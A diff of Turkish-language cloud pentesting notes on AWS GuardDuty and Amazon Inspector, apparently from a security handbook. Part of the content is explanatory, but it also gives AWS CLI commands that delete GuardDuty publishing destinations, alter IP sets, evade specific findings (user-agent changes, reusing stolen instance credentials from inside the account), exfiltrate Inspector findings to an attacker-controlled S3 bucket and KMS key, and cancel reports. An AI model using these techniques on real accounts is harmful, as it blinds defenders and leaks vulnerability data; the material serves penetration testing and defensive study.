CloudWatch Olaylarında görünür. > [!WARNING] > Bir kullanıcı **GuardDuty'yi devre dışı bıraktığında**, AWS ortamınızı izlemeyi durdurur ve hiç yeni bulgu üretmez, ayrıca **mevcut bulgular kaybolur**.\ @@ -17,9 +17,9 @@ Uyarılar **GuardDuty konsolunda (90 gün)** ve CloudWatch Olayları'nda görün ### Bulgular Örneği - **Keşif**: Bir saldırgan tarafından keşif öneren etkinlikler, örneğin **olağandışı API etkinliği**, şüpheli veritabanı **giriş** girişimleri, intra-VPC **port taraması**, olağandışı başarısız giriş isteği desenleri veya bilinen kötü IP'den engellenmemiş port taraması. -- **Örnek ihlali**: **kripto para madenciliği, arka kapı komut ve kontrol (C\&C)** etkinliği, alan adı üretim algoritmaları (DGA) kullanan kötü amaçlı yazılım, dışa dönük hizmet reddi etkinliği, olağandışı **yüksek ağ** trafiği hacmi, olağandışı ağ protokolleri, bilinen kötü niyetli bir IP ile dışa dönük örnek iletişimi, harici bir IP adresi tarafından kullanılan geçici Amazon EC2 kimlik bilgileri ve DNS kullanarak veri sızdırma. +- **Örnek ihlali**: Bir örnek ihlalini gösteren etkinlikler, örneğin **kripto para madenciliği, arka kapı komut ve kontrol (C\&C)** etkinliği, alan oluşturma algoritmaları (DGA) kullanan kötü amaçlı yazılım, dışa dönük hizmet reddi etkinliği, olağandışı **yüksek ağ** trafiği hacmi, olağandışı ağ protokolleri, bilinen kötü niyetli bir IP ile dışa dönük örnek iletişimi, dış IP adresi tarafından kullanılan geçici Amazon EC2 kimlik bilgileri ve DNS kullanarak veri sızdırma. - **Hesap ihlali**: Hesap ihlalini gösteren yaygın desenler, olağandışı bir coğrafi konumdan veya anonimleştirme proxy'sinden API çağrıları, AWS CloudTrail günlüklerini devre dışı bırakma girişimleri, hesap şifre politikalarını zayıflatan değişiklikler, olağandışı örnek veya altyapı başlatmaları, olağandışı bir bölgede altyapı dağıtımları, kimlik bilgisi hırsızlığı, şüpheli veritabanı giriş etkinliği ve bilinen kötü niyetli IP adreslerinden API çağrıları. -- **Kova ihlali**: Kimlik bilgisi kötüye kullanımını gösteren şüpheli veri erişim desenleri, uzaktan bir ana bilgisayardan olağandışı Amazon S3 API etkinliği, bilinen kötü IP adreslerinden yetkisiz S3 erişimi ve daha önce kova erişim geçmişi olmayan bir kullanıcıdan veya olağandışı bir yerden çağrılan S3 kovalarındaki verileri almak için API çağrıları gibi bir kova ihlalini gösteren etkinlikler. Amazon GuardDuty, tüm Amazon S3 kovalarınızda şüpheli etkinlikleri tespit etmek için AWS CloudTrail S3 veri olaylarını (örneğin GetObject, ListObjects, DeleteObject) sürekli izler ve analiz eder. +- **Kova ihlali**: Kimlik bilgisi kötüye kullanımını gösteren şüpheli veri erişim desenleri, uzaktan bir ana bilgisayardan olağandışı Amazon S3 API etkinliği, bilinen kötü niyetli IP adreslerinden yetkisiz S3 erişimi ve daha önce kovayı erişim geçmişi olmayan bir kullanıcıdan veya olağandışı bir yerden çağrılan S3 kovalarındaki verileri almak için API çağrıları gibi bir kova ihlalini gösteren etkinlikler. Amazon GuardDuty, tüm Amazon S3 kovalarınızda şüpheli etkinlikleri tespit etmek için AWS CloudTrail S3 veri olaylarını (örneğin GetObject, ListObjects, DeleteObject) sürekli izler ve analiz eder.
@@ -35,18 +35,18 @@ Bulgu özeti: - Tespit zamanı - Hangi tehdit listesinin kullanıldığı -Gövdede bu bilgiler vardır: +Gövdede bu bilgiler bulunmaktadır: - Etkilenen kaynak - Eylem -- Aktör: IP adresi, port ve alan adı +- Aktör: IP adresi, port ve alan - Ek Bilgi
### Tüm Bulgular -Tüm GuardDuty bulgularının listesini şu adresten erişebilirsiniz: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) +Tüm GuardDuty bulgularının listesini erişin: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) ### Çoklu Hesaplar @@ -115,7 +115,7 @@ Bu bilgilerle, erişimi kullanmak için mümkün olduğunca aynı senaryoyu yeni - Eğer bu bir **kullanıcı veya bir kullanıcı tarafından erişilen bir rol** ise, aynı saatlerde, aynı coğrafi konumdan (mümkünse aynı ISP ve IP ile) kullanmaya çalışın - Eğer bu bir **hizmet tarafından kullanılan bir rol** ise, aynı bölgede aynı hizmeti oluşturun ve oradan aynı zaman dilimlerinde kullanın -- Bu prensibin kullandığı **aynı izinleri** kullanmaya her zaman çalışın +- Bu ilkenin kullandığı **aynı izinleri** kullanmaya her zaman çalışın - Eğer **başka izinler kullanmanız veya bir izni kötüye kullanmanız** gerekiyorsa (örneğin, 1.000.000 cloudtrail günlük dosyası indirmek) bunu **yavaşça** ve AWS ile **minimum etkileşim** ile yapın (awscli bazen yazma işleminden önce birkaç okuma API'sini çağırır) ### GuardDuty'yi Kırma @@ -141,35 +141,35 @@ aws guardduty update-ip-set --detector-id --activate --ip-set-id < ``` #### `guardduty:DeletePublishingDestination` -Saldırganlar, uyarıların önlenmesi için hedefi kaldırabilir: +Saldırganlar, uyarıların önlenmesi için hedefi kaldırabilirler: ```bash aws guardduty delete-publishing-destination --detector-id --destination-id ``` > [!CAUTION] -> Bu yayın hedefini silmek **GuardDuty konsolundaki bulguların oluşturulmasını veya görünürlüğünü etkilemeyecektir**. GuardDuty, AWS ortamınızdaki olayları analiz etmeye, şüpheli veya beklenmedik davranışları tanımlamaya ve bulgular oluşturmaya devam edecektir. +> Bu yayın hedefini silmek **GuardDuty konsolundaki bulguların oluşturulmasını veya görünürlüğünü etkilemeyecektir**. GuardDuty, AWS ortamınızdaki olayları analiz etmeye, şüpheli veya beklenmedik davranışları tanımlamaya ve bulgular üretmeye devam edecektir. ### Özel Bulguların Atlatma Örnekleri -Dikkat edin ki, birçok GuardDuty bulgusu vardır, ancak **Red Teamer olarak bunların hepsi sizi etkilemeyecektir** ve daha da iyisi, **her birinin tam belgelerine sahipsiniz** [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) bu yüzden herhangi bir eylemde bulunmadan önce göz atın, yakalanmamak için. +GuardDuty bulgularının onlarca olduğunu unutmayın, ancak **Red Teamer olarak bunların hepsi sizi etkilemeyecek** ve daha da iyisi, **her birinin tam belgelerine sahipsiniz** [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) bu yüzden herhangi bir eylemde bulunmadan önce göz atın, yakalanmamak için. -İşte birkaç özel GuardDuty bulgusu atlatma örneği: +İşte birkaç özel GuardDuty bulgularının atlatma örneği: #### [PenTest:IAMUser/KaliLinux](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) GuardDuty, yaygın penetrasyon test araçlarından gelen AWS API isteklerini tespit eder ve [PenTest Finding](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#pentest-iam-kalilinux) tetikler.\ Bu, API isteğinde iletilen **kullanıcı ajanı adı** ile tespit edilir.\ -Bu nedenle, **kullanıcı ajanını değiştirmek**, GuardDuty'nin saldırıyı tespit etmesini önlemek mümkündür. +Bu nedenle, **kullanıcı ajanını değiştirmek**, GuardDuty'nin saldırıyı tespit etmesini önlemek için mümkündür. Bunu önlemek için `botocore` paketindeki `session.py` dosyasını arayabilir ve kullanıcı ajanını değiştirebilir veya Burp Suite'i AWS CLI proxy'si olarak ayarlayıp kullanıcı ajanını MitM ile değiştirebilir ya da sadece Ubuntu, Mac veya Windows gibi bir işletim sistemi kullanarak bu uyarının tetiklenmesini önleyebilirsiniz. #### UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration -EC2 kimlik bilgilerini metadata hizmetinden çıkarmak ve **bunları AWS ortamının dışında kullanmak**, [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) uyarısını tetikler. Tersine, bu kimlik bilgilerini EC2 örneğinizden kullanmak, [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) uyarısını tetikler. Ancak, **kimlik bilgilerini aynı hesap içindeki başka bir tehlikeye atılmış EC2 örneğinde kullanmak tespit edilmez**, herhangi bir uyarı oluşturmaz. +EC2 kimlik bilgilerini metadata hizmetinden çıkarmak ve **bunları AWS ortamının dışında kullanmak**, [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationoutsideaws) uyarısını tetikler. Tersine, bu kimlik bilgilerini EC2 örneğinizden kullanmak, [**`UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS`**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-iam.html#unauthorizedaccess-iam-instancecredentialexfiltrationinsideaws) uyarısını tetikler. Ancak, **kimlik bilgilerini aynı hesap içindeki başka bir ele geçirilmiş EC2 örneğinde kullanmak tespit edilmez**, herhangi bir uyarı oluşturmaz. > [!TIP] > Bu nedenle, **bulduğunuz makinenin içinden sızdırılan kimlik bilgilerini kullanın** bu uyarıyı tetiklememek için. -## References +## Referanslar - [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) - [https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html](https://docs.aws.amazon.com/guardduty/latest/ug/findings_suppression-rule.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md index 33d7612d9..6a78f7db5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-inspector-enum.md @@ -6,82 +6,82 @@ ### Inspector -Amazon Inspector, AWS ortamınızın güvenliğini artırmak için tasarlanmış gelişmiş, otomatik bir zafiyet yönetim hizmetidir. Bu hizmet, Amazon EC2 örneklerini, Amazon ECR'deki konteyner görüntülerini, Amazon ECS'yi ve AWS Lambda işlevlerini sürekli olarak zafiyetler ve istenmeyen ağ maruziyeti için tarar. Güçlü bir zafiyet istihbarat veritabanından yararlanarak, Amazon Inspector, ciddiyet seviyeleri ve düzeltme önerileri dahil olmak üzere ayrıntılı bulgular sunar ve kuruluşların güvenlik risklerini proaktif bir şekilde tanımlayıp ele almasına yardımcı olur. Bu kapsamlı yaklaşım, çeşitli AWS hizmetleri arasında güçlendirilmiş bir güvenlik duruşu sağlar ve uyum ile risk yönetimine yardımcı olur. +Amazon Inspector, AWS ortamınızın güvenliğini artırmak için tasarlanmış gelişmiş, otomatik bir zafiyet yönetim hizmetidir. Bu hizmet, Amazon EC2 örneklerini, Amazon ECR'deki konteyner görüntülerini, Amazon ECS'yi ve AWS Lambda işlevlerini sürekli olarak zafiyetler ve istenmeyen ağ maruziyeti için tarar. Güçlü bir zafiyet istihbarat veritabanından yararlanarak, Amazon Inspector, ciddiyet seviyeleri ve düzeltme önerileri dahil olmak üzere ayrıntılı bulgular sunar ve kuruluşların güvenlik risklerini proaktif bir şekilde tanımlayıp ele almasına yardımcı olur. Bu kapsamlı yaklaşım, çeşitli AWS hizmetleri arasında güçlendirilmiş bir güvenlik duruşu sağlar ve uyum ve risk yönetimine yardımcı olur. -### Key elements +### Ana unsurlar -#### Findings +#### Bulgular -Amazon Inspector'daki bulgular, EC2 örneklerinin, ECR depolarının veya Lambda işlevlerinin taranması sırasında keşfedilen zafiyetler ve maruziyetler hakkında ayrıntılı raporlardır. Durumuna göre, bulgular şu şekilde kategorize edilir: +Amazon Inspector'daki bulgular, EC2 örnekleri, ECR depoları veya Lambda işlevleri taranırken keşfedilen zafiyetler ve maruziyetler hakkında ayrıntılı raporlardır. Durumuna göre, bulgular şu şekilde kategorize edilir: -- **Active**: Bulgular düzeltilmemiştir. -- **Closed**: Bulgular düzeltilmiştir. -- **Suppressed**: Bulgular, bir veya daha fazla **suppression rules** nedeniyle bu durumla işaretlenmiştir. +- **Aktif**: Bulgular düzeltilmemiştir. +- **Kapalı**: Bulgular düzeltilmiştir. +- **Baskılanmış**: Bulgular, bir veya daha fazla **baskılama kuralı** nedeniyle bu durumla işaretlenmiştir. Bulgular ayrıca üç türde kategorize edilir: -- **Package**: Bu bulgular, kaynaklarınızda kurulu yazılım paketlerindeki zafiyetlerle ilgilidir. Örnekler arasında bilinen güvenlik sorunları olan eski kütüphaneler veya bağımlılıklar bulunur. -- **Code**: Bu kategori, AWS kaynaklarınızda çalışan uygulamaların kodunda bulunan zafiyetleri içerir. Yaygın sorunlar, güvenlik ihlallerine yol açabilecek kodlama hataları veya güvensiz uygulamalardır. -- **Network**: Ağ bulguları, saldırganlar tarafından istismar edilebilecek ağ yapılandırmalarındaki potansiyel maruziyetleri tanımlar. Bunlar arasında açık portlar, güvensiz ağ protokolleri ve yanlış yapılandırılmış güvenlik grupları bulunur. +- **Paket**: Bu bulgular, kaynaklarınızda kurulu yazılım paketlerindeki zafiyetlerle ilgilidir. Örnekler arasında güncel olmayan kütüphaneler veya bilinen güvenlik sorunları olan bağımlılıklar bulunur. +- **Kod**: Bu kategori, AWS kaynaklarınızda çalışan uygulamaların kodunda bulunan zafiyetleri içerir. Yaygın sorunlar, güvenlik ihlallerine yol açabilecek kodlama hataları veya güvensiz uygulamalardır. +- **Ağ**: Ağ bulguları, saldırganlar tarafından istismar edilebilecek ağ yapılandırmalarındaki potansiyel maruziyetleri tanımlar. Bunlar arasında açık portlar, güvensiz ağ protokolleri ve yanlış yapılandırılmış güvenlik grupları bulunur. -#### Filters and Suppression Rules +#### Filtreler ve Baskılama Kuralları -Amazon Inspector'daki filtreler ve bastırma kuralları, bulguları yönetmeye ve önceliklendirmeye yardımcı olur. Filtreler, bulguları ciddiyet veya kaynak türü gibi belirli kriterlere göre daraltmanıza olanak tanır. Bastırma kuralları, düşük risk olarak değerlendirilen, zaten hafifletilmiş veya başka önemli nedenlerle bastırılması gereken belirli bulguları bastırmanıza olanak tanır; bu, güvenlik raporlarınızı aşırı yüklenmekten korur ve daha kritik sorunlara odaklanmanızı sağlar. +Amazon Inspector'daki filtreler ve baskılama kuralları, bulguları yönetmeye ve önceliklendirmeye yardımcı olur. Filtreler, bulguları ciddiyet veya kaynak türü gibi belirli kriterlere göre daraltmanıza olanak tanır. Baskılama kuralları, düşük risk olarak kabul edilen, zaten hafifletilmiş veya başka önemli bir nedenle baskılanması gereken belirli bulguları bastırmanıza olanak tanır; bu, güvenlik raporlarınızı aşırı yüklenmekten korur ve daha kritik sorunlara odaklanmanızı sağlar. -#### Software Bill of Materials (SBOM) +#### Yazılım Malzeme Listesi (SBOM) -Amazon Inspector'daki Yazılım Malzeme Faturası (SBOM), bir yazılım paketinin içindeki tüm bileşenleri, kütüphaneler ve bağımlılıklar dahil olmak üzere ayrıntılı bir şekilde listeleyen dışa aktarılabilir bir envanter listesidir. SBOM'lar, yazılım tedarik zincirine şeffaflık sağlamaya yardımcı olur, daha iyi zafiyet yönetimi ve uyum sağlar. Açık kaynak ve üçüncü taraf yazılım bileşenleriyle ilişkili riskleri tanımlamak ve hafifletmek için kritik öneme sahiptir. +Amazon Inspector'daki Yazılım Malzeme Listesi (SBOM), bir yazılım paketinin içindeki tüm bileşenleri, kütüphaneler ve bağımlılıklar dahil olmak üzere, ayrıntılı bir şekilde listeleyen dışa aktarılabilir bir envanter listesidir. SBOM'lar, yazılım tedarik zincirine şeffaflık sağlamaya yardımcı olur, daha iyi zafiyet yönetimi ve uyum sağlar. Açık kaynak ve üçüncü taraf yazılım bileşenleriyle ilişkili riskleri tanımlamak ve hafifletmek için kritik öneme sahiptir. -### Key features +### Ana özellikler -#### Export findings +#### Bulguları Dışa Aktarma -Amazon Inspector, bulguları Amazon S3 Buckets, Amazon EventBridge ve AWS Security Hub'a dışa aktarma yeteneği sunar; bu, belirli bir tarih ve saatte tanımlanan zafiyetler ve maruziyetler hakkında ayrıntılı raporlar oluşturmanıza olanak tanır. Bu özellik, CSV ve JSON gibi çeşitli çıktı formatlarını destekler, bu da diğer araçlar ve sistemlerle entegrasyonu kolaylaştırır. Dışa aktarma işlevi, raporlara dahil edilen verilerin özelleştirilmesine olanak tanır; bu, bulguları ciddiyet, kaynak türü veya tarih aralığı gibi belirli kriterlere göre filtrelemenizi sağlar ve varsayılan olarak, mevcut AWS Bölgesi'ndeki tüm bulgularınızı Aktif durumuyla birlikte içerir. +Amazon Inspector, bulguları Amazon S3 Buckets, Amazon EventBridge ve AWS Security Hub'a dışa aktarma yeteneği sunar; bu, belirli bir tarih ve saatte tanımlanan zafiyetler ve maruziyetler hakkında ayrıntılı raporlar oluşturmanıza olanak tanır. Bu özellik, CSV ve JSON gibi çeşitli çıktı formatlarını destekler, diğer araçlar ve sistemlerle entegrasyonu kolaylaştırır. Dışa aktarma işlevi, raporlara dahil edilen verilerin özelleştirilmesine olanak tanır; bu, bulguları ciddiyet, kaynak türü veya tarih aralığı gibi belirli kriterlere göre filtrelemenizi sağlar ve varsayılan olarak mevcut AWS Bölgesi'ndeki tüm bulgularınızı Aktif durumuyla birlikte içerir. -Bulguları dışa aktarırken, verileri dışa aktarım sırasında şifrelemek için bir Anahtar Yönetim Hizmeti (KMS) anahtarı gereklidir. KMS anahtarları, dışa aktarılan bulguların yetkisiz erişime karşı korunmasını sağlar ve hassas zafiyet bilgileri için ekstra bir güvenlik katmanı sağlar. +Bulguları dışa aktarırken, verileri dışa aktarım sırasında şifrelemek için bir Anahtar Yönetim Hizmeti (KMS) anahtarı gereklidir. KMS anahtarları, dışa aktarılan bulguların yetkisiz erişime karşı korunmasını sağlar ve hassas zafiyet bilgileri için ekstra bir güvenlik katmanı sunar. -#### Amazon EC2 instances scanning +#### Amazon EC2 örneklerini tarama Amazon Inspector, zafiyetleri ve güvenlik sorunlarını tespit etmek için Amazon EC2 örnekleri için güçlü tarama yetenekleri sunar. Inspector, EC2 örneğinden çıkarılan meta verileri, paket zafiyetleri ve ağ erişilebilirlik sorunları üretmek için güvenlik tavsiyelerindeki kurallarla karşılaştırır. Bu taramalar, hesabınızın **tarama modu** ayarlarına bağlı olarak **ajan tabanlı** veya **ajansız** yöntemlerle gerçekleştirilebilir. -- **Agent-Based**: Derinlemesine taramalar gerçekleştirmek için AWS Systems Manager (SSM) ajanını kullanır. Bu yöntem, örnekten doğrudan kapsamlı veri toplama ve analiz yapma olanağı sağlar. -- **Agentless**: Örnekte bir ajan kurulumunu gerektirmeyen hafif bir alternatif sunar, her EC2 örneğinin her bir hacminin EBS anlık görüntüsünü oluşturur, zafiyetleri arar ve ardından siler; mevcut AWS altyapısını tarama için kullanır. +- **Ajan Tabanlı**: Derinlemesine taramalar gerçekleştirmek için AWS Systems Manager (SSM) ajanını kullanır. Bu yöntem, örnekten doğrudan kapsamlı veri toplama ve analiz yapma olanağı sağlar. +- **Ajansız**: Örnekte bir ajan kurulumunu gerektirmeyen hafif bir alternatif sunar; her EC2 örneğinin her bir hacminin EBS anlık görüntüsünü oluşturur, zafiyetleri arar ve ardından siler; mevcut AWS altyapısını tarama için kullanır. Tarama modu, EC2 taramalarını gerçekleştirmek için hangi yöntemin kullanılacağını belirler: -- **Agent-Based**: Derin inceleme için EC2 örneklerine SSM ajanının kurulmasını içerir. -- **Hybrid Scanning**: Kapsamı maksimize etmek ve performans etkisini minimize etmek için hem ajan tabanlı hem de ajansız yöntemleri birleştirir. SSM ajanının kurulu olduğu EC2 örneklerinde, Inspector ajan tabanlı bir tarama gerçekleştirecek ve SSM ajanının olmadığı yerlerde, gerçekleştirilen tarama ajansız olacaktır. +- **Ajan Tabanlı**: Derin inceleme için EC2 örneklerine SSM ajanı kurmayı içerir. +- **Hibrit Tarama**: Kapsamı maksimize etmek ve performans etkisini en aza indirmek için hem ajan tabanlı hem de ajansız yöntemleri birleştirir. SSM ajanının kurulu olduğu EC2 örneklerinde, Inspector ajan tabanlı bir tarama gerçekleştirecek ve SSM ajanının olmadığı örneklerde, gerçekleştirilen tarama ajansız olacaktır. -Bir diğer önemli özellik, EC2 Linux örnekleri için **derin inceleme**dir. Bu özellik, EC2 Linux örneklerinin yazılımı ve yapılandırması hakkında kapsamlı analiz sunar, işletim sistemi zafiyetleri, uygulama zafiyetleri ve yanlış yapılandırmalar dahil olmak üzere ayrıntılı zafiyet değerlendirmeleri sağlar ve kapsamlı bir güvenlik değerlendirmesi sunar. Bu, **özel yollar** ve tüm alt dizinlerinin incelenmesi yoluyla gerçekleştirilir. Varsayılan olarak, Amazon Inspector aşağıdakileri tarar, ancak her üye hesap 5'e kadar daha fazla özel yol tanımlayabilir ve her yetkilendirilmiş yönetici 10'a kadar tanımlayabilir: +Bir diğer önemli özellik, EC2 Linux örnekleri için **derin inceleme**dir. Bu özellik, EC2 Linux örneklerinin yazılımı ve yapılandırması hakkında kapsamlı analiz sunar, işletim sistemi zafiyetleri, uygulama zafiyetleri ve yanlış yapılandırmalar dahil olmak üzere ayrıntılı zafiyet değerlendirmeleri sağlar ve kapsamlı bir güvenlik değerlendirmesi sunar. Bu, **özel yollar** ve tüm alt dizinlerinin incelenmesi yoluyla gerçekleştirilir. Varsayılan olarak, Amazon Inspector aşağıdakileri tarar, ancak her üye hesap 5'e kadar daha fazla özel yol tanımlayabilir ve her delege edilmiş yönetici 10'a kadar tanımlayabilir: - `/usr/lib` - `/usr/lib64` - `/usr/local/lib` - `/usr/local/lib64` -#### Amazon ECR container images scanning +#### Amazon ECR konteyner görüntülerini tarama Amazon Inspector, paket zafiyetlerinin etkili bir şekilde tespit edilmesini ve yönetilmesini sağlamak için Amazon Elastic Container Registry (ECR) konteyner görüntüleri için güçlü tarama yetenekleri sunar. -- **Basic Scanning**: Bu, konteyner görüntülerindeki bilinen işletim sistemi paketleri zafiyetlerini tanımlayan hızlı ve hafif bir taramadır; açık kaynak Clair projesinden standart bir kural seti kullanır. Bu tarama yapılandırmasıyla, depolarınız itme sırasında veya manuel taramalar gerçekleştirildiğinde taranır. -- **Enhanced Scanning**: Bu seçenek, itme taramasına ek olarak sürekli tarama özelliğini ekler. Gelişmiş tarama, her konteyner görüntüsünün katmanlarına daha derinlemesine dalarak, işletim sistemi paketlerindeki ve programlama dilleri paketlerindeki zafiyetleri daha yüksek doğrulukla tanımlar. Hem temel görüntüyü hem de ek katmanları analiz ederek potansiyel güvenlik sorunlarının kapsamlı bir görünümünü sağlar. +- **Temel Tarama**: Bu, konteyner görüntülerindeki bilinen işletim sistemi paketleri zafiyetlerini tanımlayan hızlı ve hafif bir taramadır; açık kaynak Clair projesinden standart bir kural seti kullanır. Bu tarama yapılandırmasıyla, depolarınız itme sırasında veya manuel taramalar gerçekleştirildiğinde taranır. +- **Gelişmiş Tarama**: Bu seçenek, itme taramasına ek olarak sürekli tarama özelliğini ekler. Gelişmiş tarama, her konteyner görüntüsünün katmanlarına daha derinlemesine dalarak işletim sistemi paketlerindeki ve programlama dilleri paketlerindeki zafiyetleri daha yüksek bir doğrulukla tanımlar. Hem temel görüntüyü hem de ek katmanları analiz ederek potansiyel güvenlik sorunlarının kapsamlı bir görünümünü sağlar. -#### Amazon Lambda functions scanning +#### Amazon Lambda işlevlerini tarama Amazon Inspector, AWS Lambda işlevleri ve katmanları için kapsamlı tarama yetenekleri içerir ve sunucusuz uygulamaların güvenliğini ve bütünlüğünü sağlar. Inspector, Lambda işlevleri için iki tür tarama sunar: -- **Lambda standard scanning**: Bu varsayılan özellik, Lambda işlevinize ve katmanlarınıza eklenen yazılım zafiyetlerini tanımlar. Örneğin, işleviniz bilinen bir zafiyeti olan python-jwt kütüphanesinin bir sürümünü kullanıyorsa, bir bulgu oluşturur. -- **Lambda code scanning**: Özel uygulama kodunu güvenlik sorunları için analiz eder, enjeksiyon hataları, veri sızıntıları, zayıf kriptografi ve eksik şifreleme gibi zafiyetleri tespit eder. Tespit edilen zafiyetleri vurgulayan kod parçacıklarını yakalar, örneğin, sabit kodlanmış kimlik bilgileri. Bulgular, sorunları düzeltmek için ayrıntılı düzeltme önerileri ve kod parçacıkları içerir. +- **Lambda standart taraması**: Bu varsayılan özellik, Lambda işlevinize ve katmanlarına eklenen yazılım zafiyetlerini tanımlar. Örneğin, işleviniz bilinen bir zafiyeti olan python-jwt kütüphanesinin bir sürümünü kullanıyorsa, bir bulgu oluşturur. +- **Lambda kod taraması**: Güvenlik sorunları için özel uygulama kodunu analiz eder, enjeksiyon hataları, veri sızıntıları, zayıf kriptografi ve eksik şifreleme gibi zafiyetleri tespit eder. Tespit edilen zafiyetleri vurgulayan kod parçacıklarını yakalar, örneğin, sabit kodlanmış kimlik bilgileri. Bulgular, sorunları düzeltmek için ayrıntılı düzeltme önerileri ve kod parçacıkları içerir. -#### **Center for Internet Security (CIS) scans** +#### **İnternet Güvenliği Merkezi (CIS) taramaları** -Amazon Inspector, Amazon EC2 örnek işletim sistemlerini Center for Internet Security (CIS) tarafından önerilen en iyi uygulama önerilerine karşı değerlendirmek için CIS taramaları içerir. Bu taramalar, yapılandırmaların endüstri standartı güvenlik temel çizgilerine uyduğundan emin olur. +Amazon Inspector, Amazon EC2 örnek işletim sistemlerini İnternet Güvenliği Merkezi (CIS) tarafından en iyi uygulama önerileri ile karşılaştırmak için CIS taramaları içerir. Bu taramalar, yapılandırmaların endüstri standartı güvenlik temel ilkelerine uyduğundan emin olur. -- **Configuration**: CIS taramaları, sistem yapılandırmalarının belirli CIS Benchmark önerilerini karşılayıp karşılamadığını değerlendirir; her kontrol, bir CIS kontrol kimliği ve başlığı ile bağlantılıdır. -- **Execution**: Taramalar, örnek etiketlerine ve tanımlı takvimlere göre gerçekleştirilir veya planlanır. -- **Results**: Tarama sonrası sonuçlar, hangi kontrollerin geçtiğini, atlandığını veya başarısız olduğunu gösterir ve her örneğin güvenlik duruşu hakkında bilgi sağlar. +- **Yapılandırma**: CIS taramaları, sistem yapılandırmalarının belirli CIS Benchmark önerilerini karşılayıp karşılamadığını değerlendirir; her kontrol, bir CIS kontrol kimliği ve başlığı ile bağlantılıdır. +- **Uygulama**: Taramalar, örnek etiketlerine ve tanımlı takvimlere göre gerçekleştirilir veya planlanır. +- **Sonuçlar**: Tarama sonrası sonuçlar, hangi kontrollerin geçtiğini, atlandığını veya başarısız olduğunu gösterir ve her örneğin güvenlik duruşu hakkında bilgi sağlar. -### Enumeration +### Sayım ```bash # Administrator and member accounts # @@ -185,9 +185,9 @@ aws inspector list-rules-packages ### Post Exploitation > [!TIP] -> Bir saldırganın perspektifinden, bu hizmet saldırgana diğer örnekleri/konteynerleri tehlikeye atmasına yardımcı olabilecek zayıflıkları ve ağ maruziyetlerini bulmasına yardımcı olabilir. +> Bir saldırganın perspektifinden, bu hizmet saldırgana diğer örnekleri/konteynerleri tehlikeye atmasına yardımcı olabilecek zayıflıkları ve ağ maruziyetlerini bulmasında yardımcı olabilir. > -> Ancak, bir saldırgan bu hizmeti bozmakla da ilgilenebilir, böylece kurban zayıflıkları göremez (tüm veya belirli olanlar). +> Ancak, bir saldırgan bu hizmeti kesintiye uğratmakla da ilgilenebilir, böylece kurban zayıflıkları göremez (tümü veya belirli olanlar). #### `inspector2:CreateFindingsReport`, `inspector2:CreateSBOMReport` @@ -198,6 +198,8 @@ aws inspector2 create-findings-report --report-format --s3-destinat # SBOM report aws inspector2 create-sbom-report --report-format --s3-destination [--resource-filter-criteria ] ``` +Aşağıdaki örnek, tüm Aktif bulguları bir saldırganın kontrolündeki Amazon S3 Bucket'a ve bir saldırganın kontrolündeki Amazon KMS anahtarına nasıl dışarı aktaracağınızı göstermektedir: + 1. **Bir Amazon S3 Bucket oluşturun** ve kurban Amazon Inspector'dan erişilebilir olması için ona bir politika ekleyin: ```json { @@ -255,7 +257,7 @@ aws inspector2 create-sbom-report --report-format --s ] } ``` -3. **Bulgular raporunu oluşturma** komutunu çalıştırarak dışarı aktarın: +3. **Bulgular raporunu oluşturma** komutunu çalıştırarak dışa aktarın: ```bash aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f ``` @@ -263,7 +265,7 @@ aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s #### `inspector2:CancelFindingsReport`, `inspector2:CancelSbomExport` -Bir saldırgan, belirtilen bulgular raporunun veya SBOM raporunun üretilmesini iptal edebilir, bu da güvenlik ekiplerinin zafiyetler ve yazılım malzeme listeleri (SBOM'lar) hakkında zamanında bilgi almasını engelleyerek güvenlik sorunlarının tespitini ve düzeltmesini geciktirebilir. +Bir saldırgan, belirtilen bulgular raporunun veya SBOM raporunun üretilmesini iptal edebilir, bu da güvenlik ekiplerinin zafiyetler ve yazılım malzeme listeleri (SBOM'lar) hakkında zamanında bilgi almasını engelleyerek güvenlik sorunlarının tespitini ve giderilmesini geciktirebilir. ```bash # Cancel findings report generation aws inspector2 cancel-findings-report --report-id @@ -274,7 +276,7 @@ aws inspector2 cancel-sbom-export --report-id 